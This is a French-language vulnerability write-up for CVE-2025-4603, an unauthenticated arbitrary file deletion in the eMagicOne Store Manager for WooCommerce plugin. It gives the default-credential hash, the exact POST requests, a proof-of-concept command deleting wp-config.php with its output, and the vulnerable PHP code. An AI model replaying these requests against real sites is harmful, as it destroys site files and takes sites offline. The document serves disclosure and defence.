
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Suppression arbitraire de fichiers sans authentification
Le plugin eMagicOne Store Manager for WooCommerce expose un point de terminaison de protocole de gestion à distance (?connector=bridge) qui permet des opérations de suppression de fichiers sur le serveur. Le mécanisme d'authentification repose sur un couple d'identifiants par défaut (login=1, password=1) et sur un système de clé de session. Si les identifiants par défaut ne sont pas modifiés, un attaquant peut s'authentifier trivialement, obtenir une clé de session, et supprimer des fichiers arbitraires depuis la racine de WordPress ou tout répertoire accessible.
Un POC CVE-2025-4603.py est fourni pour démontrer qu'un attaquant supprime wp-config.php.
python3 CVE-2025-4603.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Attempting to delete file...
[*] Delete response: {"response_code":"20","message":"File was deleted from FTP Server successfully"}
À l'activation du plugin, les constantes suivantes sont définies dans smconnector.php :
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
Le hash par défaut utilisé pour l'authentification est :
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
Résultat : Le hash par défaut est md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b.
Une clé de session est obtenue en envoyant une requête POST au point de terminaison bridge avec le hash et une tâche (par exemple, get_version) :
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
Code concerné :
classes/class-emosmconnectorcommon.php (lignes ~441-525) :
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
La clé de session est stockée dans la table wp_smconnector_session_keys :
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
Avec une clé de session valide, un attaquant peut téléverser un fichier en utilisant la tâche delete_file :
POST /?connector=bridge&task=delete_file&key=<session_key>&path=wp-content.php
Code concerné :
classes/class-emosmconnectorcommon.php (lignes ~2167+) :
/** Delete file */
private function delete_file() {
if ( ! $this->shop_cart->isset_request_param( 'path' ) ) {
$this->generate_error( $this->br_errors['path_param_missing'] );
}
$filepath = (string) $this->shop_cart->get_request_param( 'path' );
if ( empty( $filepath ) ) {
$this->generate_error( $this->br_errors['path_param_empty'] );
}
$filepath = $this->shop_cart->get_shop_root_dir() . '/' . $filepath;
if ( ! $this->shop_cart->file_exists( $filepath ) ) {
$this->generate_error( $this->br_errors['delete_file_error'] );
}
$this->shop_cart->delete_file( $filepath );
}
La suppression de fichier dans class-emosmcwoocommerceoverrider.php (lignes ~380+) :
public function delete_file($filepath) {
if (!file_exists($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::ERROR_CODE_COMMON,
self::KEY_MESSAGE => 'File is missing on server',
)));
}
if (unlink($filepath)) {
die(json_encode(array(
self::CODE_RESPONSE => self::SUCCESSFUL,
self::KEY_MESSAGE => 'File was deleted from FTP Server successfully',
)));
}
}
Résultat : Le fichier est supprimé du serveur.